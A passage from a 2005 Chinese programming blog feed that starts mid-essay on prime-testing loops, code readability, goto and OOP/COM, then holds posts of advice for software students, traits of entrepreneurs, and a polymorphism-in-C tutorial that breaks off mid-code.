''不考虑用偶数去测试，而且只验算到一半就足够了<br />　　 if(i%j == 0) break;<br />　　 if(j &amp;gt;= i) printf(&amp;quot;%d,&amp;quot;, i);<br />}</code></code></code></code></code></p><p><code><code><code><code><code>“大家看，我们又只改动了一点点，运行速度又提高了一倍多。可以了吗？不可以！我们还能再提高”。于是又高傲地写出了第四个程序：<br /><br />　　 方法4：<br /><code>printf(&amp;quot;2,&amp;quot;);<br />for(i=3; i&amp;lt;100; i+=2)<br />{<br />　 int k = sqrt(i);<br />　 for(j=3; j&amp;lt;= k; j+=2)<br />　　 if(i%j == 0) break;<br />　　 if(j &amp;gt;= k ) printf(&amp;quot;%d&amp;quot;, i);<br />} </code></code></code></code></code></code></p><p><code><code><code><code><code><code>然后，开始证明为什么我们判断素数的时候，只需要验算到平方根就足够了：<br /><br />　　 假设p是合数，那么令:p=a*b。反正法：由于我们已经判断了p的平方根以内的整数都不能被p整除，于是 a&amp;gt;SQRT(p)。基于同样的理由 b&amp;gt;SQRT(p)。于是 p = a * b &amp;gt; SQRT(p) * SQRT(p) = p 得出矛盾， 命题得正。<br /><br />　　 的确，“方法4”的确比“方法1”的运行速度要提高了好几倍，甚至好几十倍。但我们仔细分析测试看看。<br /><br />　　 （1）“程序4”到底比“程序1”快了多少那？我在某台计算机上进行测试（P4，1.5G)得到的速度对比表：<br /><table style="WIDTH: 100%" cellspacing="1" cellpadding="1" border="1"><tbody><tr><td>计算范围</td><td>100</td><td>1000</td><td>10000</td><td>100000</td></tr><tr><td>速度差</td><td>0.00秒</td><td>0.01秒 </td><td>0.18秒</td><td>15秒 </td></tr></tbody></table></code></code></code></code></code></code></p><p><br />2） 在10万以上，才会看出一些差别。而这种差别根本就不够底偿程序设计阶段的付出。如果计算的范围再大，那么不管是“方法1”，还是“方法4”都不是好的算法。（计算素数的另外一个比较优秀的算法叫“漏筛法”）<br /><br />　　 （3）写出“方法1”，只要具有小学四年级的数学水平就够了，而“方法4”则需要初中三年级的水平并且还要具备一些“数论”的知识。<br /><br />　　 （4）从维护性看，如果你写的程序需要另外一个程序员来维护，或者若干时间以后，你重新来阅读这段程序，那么就会对这个程序产生很多疑问：这个求平方根是干什么用的？其实，就这个题目来说，使用到“方法3”就已经足够了。<br /><br />　　 总结发言：<br /><br />　　 I. 计算机的价格每年下降一半，而运算速度每年提高一倍”，因此我们应该把速度提高的任务交给硬件实现。 <br /><br />　　 II. 从易读性、维护性出发，程序员只负责按定义给出软件实现。算法的问题是数学家解决的。 <br /><br />　　 题外话：<br /><br />　　 多年以来，人们一直在寻找动态图象(影视)的存储和回放的算法，但效果都不理想。直到有人发现，原来在200多年前的数学家早就帮我们解决了这个问题——傅立叶（Fourier）级数展开。因此我要说，优秀的算法不是我们程序员要考虑的问题，我们的任务只要按照数学家给出的算法翻译为计算机程序语言而已。（这句话恐怕要遭到大多数程序员抛出的板砖袭击）再比如，计算一元多次方程解的问题。我们使用的就是牛顿的迭代算法。不要怪我瞧不起你，你能发明这个方法的话，那就是当代的牛顿了。<br /><br />　　<b>四、程序的易读性与书写方法</b><br /><br />　　 程序是否容易阅读和维护，与怎么书写有很大的关系。说实在的，C语言中为了方便程序员书写，允许使用++,--,&amp;lt;&amp;lt;,&amp;amp;&amp;amp;，？......这些运算符号。但很多人经常乱用，以为自己写的程序多么简洁，效率多高。其实，当你分行书写的话则更加容易阅读和维护，效率也不会降低，因为编译程序早就帮你优化为最快捷的代码了。先看一个简单的例子：<br /><br />　　 计算一个整数乘 255(C语言)<br /><br />　　 方法1：a *= 255;<br /><br />　　 方法2：因为移位运算比乘法运算要快很多倍，因此a*255的运算书写为：<br />a =(a&amp;lt;&amp;lt;8)-a; //a*255 = a*256 - a = (a&amp;lt;&amp;lt;8) - a</p><p>法1的书写非常简单，直截了当，显然更容易维护。而方法2的书写运用了移位的技巧，不容易阅读，但效率最高。是不是真的是这样那？把这两个程序编译为汇编代码看看。原来无论是方法1还是方法2，它们的汇编代码都是一样的：<br /><code>mov ecx, eax<br />shl eax, 8<br />sub eax, ecx</code></p><p><code>也就是说，你认为非常技巧的书写方法，其实编译器的优化功能早就帮你想到了。那么方法2的方式就很值得批判了。下面是几个有关C语言书写方面的重要原则：<br />　<br />　　 1）尽量表达愿义，多加注释； <br /><br />　　 2）变量名称和函数名称，要使用有意义的符号，并且遵守“匈牙利命名法”； <br /><br />　　 3）不要为俭省内存，使一个变量在一个模块中表达多个含义。<br /><br />　　 4）在某个模块中，前半部分用i表示计数器，由于后半部分不再使用计数器了，于是又用i来保存某个中间的结果。等你维护这段程序的时候，保证你肯定会犯傻的。 <br /><br />　　 5）在使用条件表达式的时候，不要混合书写运算表达式；<br /><br />　　 经常有人在书写for循环的时候，使用这样的方式： for(int a=1,s=0; a&amp;lt;=100 &amp;amp;&amp;amp; (s+=a); a++); <br /><br />　　 天呀，这样写是不会提高程序运行效率的，尤其是当运算表达式复杂的时候，就更不容易阅读了，还是把运算写到for的循环体中吧。 <br /><code>int s = 0;<br />for(int a=1; a&amp;lt;=100; a++)<br />　 s += a; //计算1+2+...+100 这不很好吗?! </code></code></p><p><code><code>再比如，if(a=b)这个写法在语法上是允许的，但不要使用。要使用也要if(0!=(a=b))这样的方式。 还有值得一提的是慎用“,”（逗号运算符）。 <br /><br />　　 不要连续使用++,--,&amp;lt;&amp;lt;，*，&amp;amp; .....这样的运算符号。<br /><br />　　 a = b++-(--c&amp;lt;&amp;lt;1+e&amp;amp;0x0f&amp;gt;&amp;gt;1); //这个人有病。出这个题目考试的老师，也有病。 <br /><br />　　 常量要写在条件表达式的左边；<br /><br />　　 if(5 == a) 这是正确的写法，这样书写可以避免勿输入而导致的 if(a=5)这样的错误。 <br /><br />　　 避免程序中{ }的嵌套层次太深；<br /><br />　　 最多4层。如果必须大于4层，那么写成调用子函数或宏的方式。 <br /><br />　　 尽量多地使用断言；<br /><br />　　 当你在书写程序的过程中，凭你的智慧，你一定是知道：程序运行到我正书写的这行代码的时候某个变量一定是某个值。好啦，那么不要忧郁，马上加上一句代码：ASSERT(nnn == xxx);。将来在调式维护这段代码的时候，你会得到无限美妙的回报。 <br /><br />　　 书写需要“成对匹配”使用的代码的时候，在写使用代码之前，就先把结束写出来</code></code></p><p><code><code><code>file.Open(...); //当要打开文件的时候 char *lp=new char [100]; //当要申请内存的时候<br />...... //先不要写这段代码 ...... //先不要写这段代码<br />file.Close(); //马上写关闭 delete [] lp; //马上写释放<br /><br />xxx.Loack(); //当某个对象需要锁定的时候 for(....)<br />...... //先不要写这段代码 { //写大括号的时候<br />xxx.Unlock(); //马上写解锁 } //马上写大括号结束 </code></code></code></p><p><code><code><code>和这个道理相同，在C++的类中，如果需要申请内存，那么先在构造函数中给出 lp=NULL;然后马上在析构函数中书写 if(lp) delete []lp; <br /><br />　　 可以适当地使用goto；<br /><br />　　 在结构化程序设计中，goto 是被排斥的。但是，如果适当地使用 goto 不但不影响斜率，而且还能提高程序的可读性。 <br /><br />　　 题目：合并2个文件到一个新文件中。（不要挑我的毛病呀~~~~~，我使用的是类C的方式书写的。） </code></code></code></p><p><code><code><code>方法1： <br />FILE *f1,*f2,*f3;<br />if(Open(f1)成功)<br />{<br />　 if(Open(f2)成功)<br />　 {<br />　　 if(Open(f3)成功)<br />　　 {<br />　　　 ...... //这里是真正干活的地方<br />　　　 Close(f1);<br />　　　 Close(f2);<br />　　　 Close(f3);<br />　　 }<br />　　 else //f3不成功<br />　　 {<br />　　　 Close(f1);<br />　　　 Close(f2);<br />　　　 ......<br />　　 }<br />　 }<br />　 else //f2不成功<br />　 {<br />　　 Close(f1);<br />　　 ......<br />　 }<br />}<br />else //f1不成功<br />{<br />　 ......<br />} <br /></code></code></code></p><p><code><code><code>方法2：<br /><code>FILE *f1=NULL,*f2=NULL,*f3=NULL;<br />if(Open(f1)不成功) goto err;<br />if(Open(f2)不成功) goto err;<br />if(Open(f3)不成功) goto err;<br />...... //这里是真正干活的地方<br />err:<br />if(f3) Close(f3);<br />if(f2) Close(f2);<br />if(f1) Close(f1);</code></code></code></code></p><p><code><code><code><code>方法1是最最标准的结构化设计，好吗？不好！尤其是当{ }的层次比较深的时候，估计你寻找真正干活的代码的地方都找不到。而使用方法2的程序，不但程序容易读，而且没有{ } 的深度。在C++中，又提供了异常try/catch的设计结构，而异常的结构则比 goto 的结构更好、更完善了。<br /></code></code></code></code></p><p>　　<b>五、面向对象的程序设计</b><br /><br />　　 随着程序的设计的复杂性增加，结构化程序设计方法又不够用了。不够用的根本原因是“代码重用”的时候不方便。面向对象的方法诞生了，它通过继承来实现比较完善的代码重用功能。很多学生在应聘工作，面试的时候，常被问及一个问题“你来谈谈什么是面向对象的程序设计”，学生无言，回来问我，这个问题应该怎么回答。我告诉他，你只要说一句话就够了“面向对象程序设计是对数据的封装；范式（模板）的程序设计是对算法的封装。”后来再有学生遇到了这个问题，只简单的一句对答，对方就对这个学生就刮目相看了（学生后来自豪地告诉我的）。为什么那？因为只有经过彻底的体会和实践才能提炼出这个精华。<br /><br />　　 面向对象的设计方法和思想，其实早在70年代初就已经被提出来了。其目的就是：强制程序必须通过函数的方式来操纵数据。这样实现了数据的封装，就避免了以前设计方法中的，任何代码都可以随便操作数据而因起的BUG，而查找修改这个BUG是非常困难的。那么你可以说，即使我不使用面向对象，当我想访问某个数据的时候，我就通过调用函数访问不就可以了吗？是的，的确可以，但并不是强制的。人都有惰性，当我想对 i 加1的时候，干吗非要调用函数呀？算了，直接i++多省事呀。呵呵，正式由于这个懒惰，当程序出BUG的时候，可就不好捉啦。而面向对象是强制性的，从编译阶段就解决了你懒惰的问题。<br /><br />　　 巧合的是，面向对象的思想，其实和我们的日常生活中处理问题是吻合的。举例来说，我打算丢掉一个茶杯，怎么扔那？太简单了，拿起茶杯，走到垃圾桶，扔！注意分析这个过程，我们是先选一个“对象”------茶杯，然后向这个对象施加一个动作——扔。每个对象所能施加在它上面的动作是有一定限制的：茶杯，可以被扔，可以被砸，可以用来喝水，可以敲它发出声音......；一张纸，可以被写字，可以撕，可以烧......。也就是说，一旦确定了一个对象，则方法也就跟着确定了。我们的日常生活就是如此。但是，大家回想一下我们程序设计和对计算机的操作，却不是这样的。拿DOS的操作来说，我要删除一个文件，方法是在DOS提示符下：c:&amp;gt; del 文件名&amp;lt;回车&amp;gt;。注意看这个过程，动作在前（del），对象在后(文件名),和面向对象的方法正好顺序相反。那么只是一个顺序的问题，会带来什么影响那？呵呵，大家一定看到过这个现象：File not found. “啊~~~，我错了，我错了，文件名敲错了一个字母”，于是重新输入：c:&amp;gt; del 文件名2&amp;lt;回车&amp;gt;。不幸又发生了，计算机报告：File read only. 哈哈，痛苦吧:)。所以DOS的操作其实是违反我们日常生活中的习惯的（当然，以前谁也没有提出过异议），而现在由于使用了面向对象的设计，那么这些问题，就在编译的时候解决了，而不是在运行的时候。obj.fun()，对于这条语句，无论是对象，还是函数，如果你输入有问题，那么都会在编译的时候报告出来，方便你修改，而不是在执行的时候出错，害的你到处去捉虫子。<br /><br />　　 同时，面向对象又能解决代码重用的问题——继承。我以前写了一个“狗”的类，属性有（变量）：有毛、4条腿、有翘着的尾巴（耷拉着尾巴的那是狼）、鼻子很灵敏、喜欢吃肉骨头......方法有（函数）：能跑、能闻、汪汪叫......如果它去抓耗子，人家叫它“多管闲事”。好了，狗这个类写好了。但在我实际的生活中，我家养的这条狗和我以前写的这个“狗类”非常相似，只有一点点的不同，就是我的这条狗，它是：卷毛而且长长的，鼻子小，嘴小......。于是，我派生一个新的类型，叫“哈巴狗类”在“狗类”的基础上，加上新的特性。好了，程序写完了，并且是重用了以前的正确的代码——这就是面向对象程序设计的好处。我的成功只是站在了巨人的肩膀上。当然，如果你使用VC的话，重用最多的代码就是MFC的类库。<br /><br />　　<b>六、组件（COM）程序设计</b><br /><br />　　 有了面向对象程序设计方法，就彻底解决了代码重用的问题了吗？答案是：否！硬件越来越快，越来越小了，软件的规模却也越来越大了，集体合作越来越重要，代码重用又出现的新的问题。 我用C++写的类，不能被BASIC重用——不能夸语言；你要干什么，想重用我的代码？不行，这样你就看见了我的设计思想——只能在源程序级别重用，不能在二进制级别（可执行代码及）重用。<br /><br />　　 我耗尽毕生的精力，写了一个包罗万象的类库，但没有人用。因为他们说：你这个太大了，我的程序只有1K，你却给我一个 10000MB 的库——MFC 的尴尬。<br /><br />　　 太好了，我终于找到了程序中的一个BUG，已经修改完成，而且是只改动了一个字节。接下来我要重新向我的用户分发新的版本，我的用户有......10万个——升级的非鲁棒性，不是我分发累死了，就是用户重新安装累死了。（鲁棒：robust。意为强壮性的，平顺的，顺滑的.....鬼知道是哪个不懂计算机的人翻译的这个词汇。） <br /><br />　　 我想写一个集大成的软件，这个软件的功能是我中有你，你中有我。既能实现文字编辑，又能实现电子表格计算，又能实现自动翻译，还能画图，还能实现数据库检索，还可以看电影.....只要用了我的这个软件，想要什么就有什么，我要强占整个软件的市场------OLE实现的重用功能，只要学会了COM，这些都不是问题了。<br /><br />　　 用户甲要求我的软件窗口上下分割，用户乙要求我的软件窗口左右分割......我需要在我的软件基础上，派生出100个类型，可怎么办呀？将来怎么维护呀？------在脚本的支持下，实现同一程序的的灵活配置而重用，问题迎刃而解了。<br /><br />　　 我是个老板，你知道我有多痛苦吗？我手下的员工向我提出加工资的要求，我不得不答应呀。因为如果这个员工跳槽了，他的代码要维护起来有多难！！！——现在好啦，我要求员工统统用组件写模块，想加工资？门都没有，威胁我要走？那你走吧，这个月的工资也不发了。反正用组件写的代码，我可以很容易地进行包容和聚合实现维护。（老板的福音，程序员的悲哀）。<br /><br />　　 还有好多那，现在想不起来了...... <br /><br />　　 COM程序设计方法，就是解决以上问题的一个方式。有很多朋友觉得COM非常复杂难懂，不想学习了。你一定学习过程序设计的最基本的方法（非结构化设计：汇编、gwBasic......）,然后，你又学习了结构化程序设计（C、Pascal......）,然后，你又努力学习并熟练掌握了面向对象的程序设计方法（C++、Delphi、Java......）,那么不要怕，要有信心去学习组件程序设计，它只是一个设计方法和思想，并且是目前较高级的方法，如果不掌握，就太可惜了。<br /><br />　　 学习了结构化程序设计，你就会“藐视”那些不遵守结构化设计思想而写出的代码；<br /><br />　　 学习了面向对象设计，你就会“嘲笑”那些为找BUG而晕头转向的程序员； <br /><br />　　 同样，学习了组件程序设计，你就会站在更高的层次看待程序设计。<br /><br />　　<b>七、结束语</b><br /><br />　　 写程序的目的是什么？养家糊口、兴趣使然、我的事业......这些都对。但我要强调的是：写程序的目的是为了修改程序。在这个观点上，那么写注释、写文档、选择语言、选择结构......都是为这个服务的。本文从软件设计方法的进化角度来反复阐述这个观点，希望爱好者能有所体会和思考。<br /><br />　　 文中所讨论的技术和观点，适合于大多数情况下的程序设计，而对于特殊的应用的（驱动开发，嵌入式开发，网络通讯，实时视频......），这些领域中，由于硬件环境的限制和极限效率的要求，有些观点就不合适了，需要具体情况具体分析。另外就是对于程序设计的初学者，可以先不考虑这么多问题，以掌握基本技巧方法和思想为要。 </p><p><br />来源: vckbase</p>]]> 
</content> 
</entry>
 
<entry> 
<title><![CDATA[七条对于中国大学软件专业同学一些建议]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/1209509.html" />  
<issued>2005-04-16T05:22:25Z</issued> 
<created>2005-04-16T05:22:25Z</created> 
<modified>2005-04-16T05:22:25Z</modified>
<id>tag:kaixin8.blogchina.com,2005://1209509</id>
<author> 
<name>刘加开</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>程序人生</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[<p style="FONT-SIZE: 10.5pt; MARGIN: 0in; FONT-FAMILY: simsun"><font color="#000000">七条对于中国大学软件专业同学一些建议</font></p><br />1，不要玩游戏，至少不要玩网络游戏<span style="FONT-WEIGHT: 400"><br />我认识计算机专业比较好的大学朋友中没有一个玩网络游戏的.<br /><br /></span>2，不要用分数衡量自己专业能力。<span style="FONT-WEIGHT: 400"><br />自己一定要多去写程序，多去看代码肯定是对的。对于软件专业同学千万不要认为一分纸上试题可以代表尼专业的能力。最初学习程序语言都是坚持每天写50-100行以上代码，这样才能快速熟悉语法和程序入门基础。<br /><br /></span>3，培养学习的能力。<span style="FONT-WEIGHT: 400"><br />老师带领下学会一个东西很容易，尝试之前自己去学习，然后再去学，这样可以学习可以发现自己什么地方学习能力不足。学习的能力是一种大学最需要培养的专业能力的核心，如果你即时一个专业或者程序语言学习再好，但是却不能自我学习的能力，势必会被日益发展的技术所淘汰的。<br /><br /></span>4，培养团队意识<span style="FONT-WEIGHT: 400"><br />不要吝啬自己的代码，多去主动分享，好的代码都是改出来的。如果可以在大学中建立或者加入一个团队一起学习，将可以获得意外的收获。<br /><br /></span>5，把自己放到软件行业去衡量，而不是自己的学校。<span style="FONT-WEIGHT: 400"><br />不要在同学之间互相竞争，你需要对比的是所有从事软件行业的专业人员，因为软件专业是没有年龄的。<br /><br /></span>6，不要忽视基础。<span style="FONT-WEIGHT: 400"><br />基础像地基，如果没有基础房屋到后面就很难扩展了。基础和武侠小说中的内功是一样的，没有内功的招式是没有用的。<br /><br /></span>7, 不要被外界环境干扰。<span style="FONT-WEIGHT: 400"><br />自我控制对于今天在中国大学一起学习的同学是非常重要的，大多数同龄的学生最初进入大学都是非常好学的，但是不少人由于外界环境诱惑而失去自我的目标。</span> ]]> 
</content> 
</entry>
 
<entry> 
<title><![CDATA[程序员创业：创业者的十大“必杀技”]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/1209381.html" />  
<issued>2005-04-16T04:00:55Z</issued> 
<created>2005-04-16T04:00:55Z</created> 
<modified>2005-04-16T04:00:55Z</modified>
<id>tag:kaixin8.blogchina.com,2005://1209381</id>
<author> 
<name>刘加开</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>程序人生</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[程序员创业:创业者的十大&amp;quot;必杀技&amp;quot;<br /><p style="TEXT-INDENT: 2em"><strong>诚信———创业立足之本</strong></p><p style="TEXT-INDENT: 2em">市场经济已进入诚信时代，作为一种特殊的资本形态，诚信日益成为企业的立足之本与发展源泉。</p><p style="TEXT-INDENT: 2em">风险投资界有句名言：&amp;quot;风险投资成功的第一要素是人，第二要素是人，第三要素还是人。&amp;quot;此话足以证明风险投资家对创业者个人素质的关注程度。在他们看来，创业项目、商业计划、企业模式等都可适时而变，唯有创业者品质难以在短时间内改变。</p><p style="TEXT-INDENT: 2em">创业者品质决定着企业的市场声誉和发展空间。不守&amp;quot;诚信&amp;quot;，或可&amp;quot;赢一时之利&amp;quot;，但必然&amp;quot;失长久之利&amp;quot;。反之，则能以良好口碑带来滚滚财源，使创业渐入佳境。 </p><p style="TEXT-INDENT: 2em"><strong>自信———创业的动力</strong></p><p style="TEXT-INDENT: 2em">日本八佰伴集团创始人和田一夫开始时仅经营一家小水果铺，还被一场大火烧得赤手空拳。但是，在&amp;quot;不摧毁旧的，就不能建设新的&amp;quot;信念支持下，他最终东山再起，成为名噪一时的创业家。</p><p style="TEXT-INDENT: 2em">人的意志可以发挥无限力量，可以把梦想变为现实。对创业者来说，信心就是创业的动力。要对自己有信心，对未来有信心，要坚信成败并非命中注定而是全靠自己努力，更要坚信自己能战胜一切困难。</p><p style="TEXT-INDENT: 2em"><strong>勇气———视挫败为成功之基石</strong></p><p style="TEXT-INDENT: 2em">硅谷有着&amp;quot;创业大本营&amp;quot;的美誉，在这儿，每年都有数以万计的企业倒下，同时也有成千上万的创业者一夜暴富。美国知名创业教练约翰·奈斯汉说：&amp;quot;造就硅谷成功神话的秘密，就是失败。失败的结果或许令人难堪，但却是取之不尽的活教材，在失败过程中所累积的努力与经验，都是缔造下一次成功的宝贵基础。&amp;quot; </p><p style="TEXT-INDENT: 2em">成功需要经验积累，创业的过程就是在不断的失败中跌打滚爬。只有在失败中不断积累经验财富，不断前行，才有可能到达成功彼岸。美国3M公司有一句关于创业的&amp;quot;至理名言&amp;quot;：为了发现王子，你必须与无数只青蛙接吻。对于创业家来说，必须有勇气直面困境，敢于与困难&amp;quot;接吻&amp;quot;。 </p><p style="TEXT-INDENT: 2em"><strong>领袖精神———创业的无形资本</strong></p><p style="TEXT-INDENT: 2em">一只狮子领着一群羊，胜过一只羊领着一群狮子。这一古老的西方谚语说明了创业者领袖精神的重要性。企业成功离不开团队力量，但更多层面上取决于领导者本人。创业者是企业的一面精神旗帜，其一言一行都将影响企业的荣辱兴衰。</p><p style="TEXT-INDENT: 2em">企业文化被称作企业灵魂和精神支柱。而企业文化精髓就是创业者的领袖精神，这是凝聚员工的一笔&amp;quot;不可复制&amp;quot;的财富，更是初创企业生存和发展的关键。</p><p style="TEXT-INDENT: 2em">许多优秀的跨国企业中，这种领袖精神随处可见。摩托罗拉公司对高尔文&amp;quot;摩托罗拉大家庭&amp;quot;理念的继承，戴尔公司对戴尔&amp;quot;效率至上&amp;quot;原则的推崇，都证明了企业领袖精神的重要性。对创业者来说，注重塑造领袖精神，远比积累财富更重要，因为财富可在瞬间赢得或失去，但领袖精神永远是赢得未来的无形资本。 </p><p style="TEXT-INDENT: 2em"><strong>爱心———创业成功的催化剂</strong></p><p style="TEXT-INDENT: 2em">在竞争日趋激烈的今天，<a href="http://tech.163.com/production/"><font color="#0066cc">产品</font></a>和企业的公众形象定位，对创业成功与否起着关键作用。富有爱心，则是构成诚实、良好商业氛围的重要因素。从某种角度看，爱心是创业成功的&amp;quot;催化剂&amp;quot;。</p><p style="TEXT-INDENT: 2em">惠普创始人戴维·帕卡德提出：&amp;quot;一个企业对社会的责任远远重要于对股东的责任。&amp;quot;这位亿万富翁住在一栋简朴的房子里，却为许多大学和公益基金会捐了无数款项。 </p><p style="TEXT-INDENT: 2em">企业通过积极承担社会责任，热情支持公益事业，形成良好的社会口碑，反过来对企业的发展将产生强劲的支持作用。一位成功人士就曾感叹说，有时候花再多的钱做广告，不如多做一些对社会有益的事情，更能起到事半功倍的效果。</p><p style="TEXT-INDENT: 2em"><strong>社交能力———借力打力觅捷径</strong></p><p style="TEXT-INDENT: 2em">以往人们总是强调自主创业，但如今这种观念正在改变，人际关系在创业中的作用逐渐加大，人脉圈日益成为创业信息、资金、经验的&amp;quot;蓄水池&amp;quot;，有时甚至在商业活动中能起到四两拨千斤的神奇功效。 </p><p style="TEXT-INDENT: 2em">目前&amp;quot;朋友经济&amp;quot;在招商中的作用日益显现。北京大学中国金融投资家俱乐部的成员就包括投资公司老板、证券商、银行家以及政府部门金融方面官员，他们手中掌控着1200亿元资本和无限商机。</p><p style="TEXT-INDENT: 2em">在当今提倡合作双赢的时代，过去那种单枪匹马的创业方式已越来越不适应时代需求。扩大社交圈，通过朋友掌握更多信息、寻求更大发展，日益成为成功创业的捷径。</p><p style="TEXT-INDENT: 2em"><strong>合作能力———趋时避害形成合力</strong></p><p style="TEXT-INDENT: 2em">携程计算机技术（上海）有限公司总裁季琦告诉青年创业者，&amp;quot;携程网&amp;quot;的成功，除了抓住当初互联网快速发展的契机，有一个良好的创业团队是关键。 </p><p style="TEXT-INDENT: 2em">&amp;quot;携程网&amp;quot;的团队成员来自美国Oracle公司、德意志银行和上海旅行社等，是技术、管理、金融运作、旅游的完美组合。大家在一起创业，分享各自的知识和经验，同时也避免了很多创业&amp;quot;雷区&amp;quot;。</p><p style="TEXT-INDENT: 2em"><strong>创新精神———创业成功的维生素</strong></p><p style="TEXT-INDENT: 2em">金利来领带的创始人曾宪梓说：&amp;quot;做生意要靠创意而不是靠本钱！&amp;quot;在竞争激烈的市场中，缺乏创新的企业很难站稳脚跟，改革和创新永远是企业活力与竞争力的源泉。</p><p style="TEXT-INDENT: 2em">万科集团在1988年发行了大陆第一份《招商通函》，目前该公司已成为全国房地产知名企业和中国最具发展潜力的上市公司；上海复兴高科积极推进与数十家国有企业合资合作，用民营企业机制同国有企业资产实行有效嫁接......这些企业的成功，都离不开创业家挑战成绩、自我加压、勇于创新的精神。</p><p style="TEXT-INDENT: 2em"><strong>魄力———该出手时就出手</strong></p><p style="TEXT-INDENT: 2em">商海女杰菲奥里纳在面对戴尔、IBM等领先者时对惠普员工说：以前我们要做到95分才推出，现在我要求80分时就推出，然后慢慢改进；以前是瞄准、准备、开火，在网络时代里，瞄准了就要开火，没有时间准备。</p><p style="TEXT-INDENT: 2em">在创业界，往往是风险与机会并存。创业者必须善于发现新生事物，并对新生事物有强烈的探求欲；必须敢于冒险，即使没有十足把握，也应果断地尝试。</p><p style="TEXT-INDENT: 2em"><strong>敏锐眼光———识时务者终为俊杰</strong></p><p style="TEXT-INDENT: 2em">张明正拿到电脑硕士学位后，选择了被时人称为&amp;quot;旁门左道&amp;quot;的防病毒软件作为主攻方向。1999年4月，第一个通过电子邮件传播的&amp;quot;梅丽莎&amp;quot;病毒忽然爆发，正当众多IT企业无计可施时，张明正的&amp;quot;传奇故事&amp;quot;诞生了，他的&amp;quot;解药&amp;quot;被大量使用，他创立的趋势<a href="http://tech.163.com/"><font color="#0066cc">科技</font></a>公司目前市价已逾100亿美元，张本人也先后两次被美国《商业周刊》推选为&amp;quot;亚洲之星&amp;quot;。</p><p style="TEXT-INDENT: 2em">生意场上，眼光起了决定性作用。很多资金不多的小创业者，都是依靠准确抓住某个不起眼的信息而挖到&amp;quot;第一桶金&amp;quot;的。市场经济刚起步时，机会特别多，好像做什么都能赚钱，只要你有足够胆量和能力。但如今每个行业每个领域都有人做，激烈的市场竞争宣告&amp;quot;暴利时代&amp;quot;已经结束，取而代之的是&amp;quot;微利时代&amp;quot;。因此，创业机会必须靠创业者自己发掘。</p>]]> 
</content> 
</entry>
 
<entry> 
<title><![CDATA[C语言中的多态实现]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/1209376.html" />  
<issued>2005-04-16T03:59:25Z</issued> 
<created>2005-04-16T03:59:25Z</created> 
<modified>2005-04-16T03:59:25Z</modified>
<id>tag:kaixin8.blogchina.com,2005://1209376</id>
<author> 
<name>刘加开</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>C语言基础</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[<h4>C语言中的多态实现</h4><br /><p style="TEXT-INDENT: 2em">相信很多人都看过设计模式方面的书，大家有什么体会呢？Bridge，Proxy，Factory这些设计模式都是基于抽象类的。使用抽象对象是这里的一个核心。 </p><p style="TEXT-INDENT: 2em">其实我觉得框架化编程的一个核心问题是抽象，用抽象的对象构建程序的主体框架，这是面向对象编程的普遍思想。用抽象构建骨架，再加上多态就形成了一个完整的程序。由于C＋＋语言本身实现了继承和多态，使用这样的编程理念（理念啥意思？跟个风，嘿嘿）在C＋＋中是十分普遍的现象，可以说Virtual（多态）是VC的灵魂。</p><p style="TEXT-INDENT: 2em">但是，使用C语言的我们都快把这个多态忘光光了。我常听见前辈说，类？多态？我们用的是C，把这些忘了吧。很不幸的是，我是一个固执的人。这么好的东西，为啥不用呢。很高兴的，在最近的一些纯C代码中，我看见了C中的多态！下面且听我慢慢道来。</p><p style="TEXT-INDENT: 2em">1. VC中的Interface是什么</p><p style="TEXT-INDENT: 2em">Interface：中文解释是接口，其实它表示的是一个纯虚类。不过我所要说的是，在VC中的Interface其实就是struct，查找Interface的定义，你可以发现有这样的宏定义：</p><p style="TEXT-INDENT: 2em">#Ifndef Interface</p><p style="TEXT-INDENT: 2em">#define Interface struct</p><p style="TEXT-INDENT: 2em">#endif</p><p style="TEXT-INDENT: 2em">而且，实际上在VC中，如果一个类有Virtual的函数，则类里面会有vtable，它实际上是一个虚函数列表。实际上C＋＋是从C发展而来的，它不过是在语言级别上支持了很多新功能，在C语言中，我们也可以使用这样的功能，前提是我们不得不自己实现。</p><p style="TEXT-INDENT: 2em">2．C中如何实现纯虚类（我称它为纯虚结构）</p><p style="TEXT-INDENT: 2em">比较前面，相信大家已经豁然开朗了。使用struct组合函数指针就可以实现纯虚类。</p><p style="TEXT-INDENT: 2em">例子： typedef struct {</p><p style="TEXT-INDENT: 2em">void (*Foo1)();</p><p style="TEXT-INDENT: 2em">char (*Foo2)();</p><p style="TEXT-INDENT: 2em">char* (*Foo3)(char* st);</p><p style="TEXT-INDENT: 2em">}MyVirtualInterface;</p><p style="TEXT-INDENT: 2em">这样假设我们在主体框架中要使用桥模式。（我们的主类是DoMyAct，接口具体实现类是Act1，Act2）下面我将依次介绍这些&amp;quot;类&amp;quot;。（C中的&amp;quot;类&amp;quot;在前面有说明，这里换了一个，是使用早期的数组的办法）</p><p style="TEXT-INDENT: 2em">主类DoMyAct： 主类中含有MyVirtualInterface* m_pInterface; 主类有下函数：</p><p style="TEXT-INDENT: 2em">DoMyAct_SetInterface(MyVirtualInterface* pInterface)</p><p style="TEXT-INDENT: 2em">{</p><p style="TEXT-INDENT: 2em">m_pInterface= pInterface;</p><p style="TEXT-INDENT: 2em">}</p><p style="TEXT-INDENT: 2em">DoMyAct_Do()</p><p style="TEXT-INDENT: 2em">{</p><p style="TEXT-INDENT: 2em">if(m_pInterface==NULL) return;</p><p style="TEXT-INDENT: 2em">m_pInterface-&amp;gt;Foo1();</p><p style="TEXT-INDENT: 2em">c=m_pInterface-&amp;gt;Foo2();</p><p style="TEXT-INDENT: 2em">}</p><p style="TEXT-INDENT: 2em">子类Act1：实现虚结构，含有MyVirtualInterface st[MAX]; 有以下函数：</p><p style="TEXT-INDENT: 2em">MyVirtualInterface* 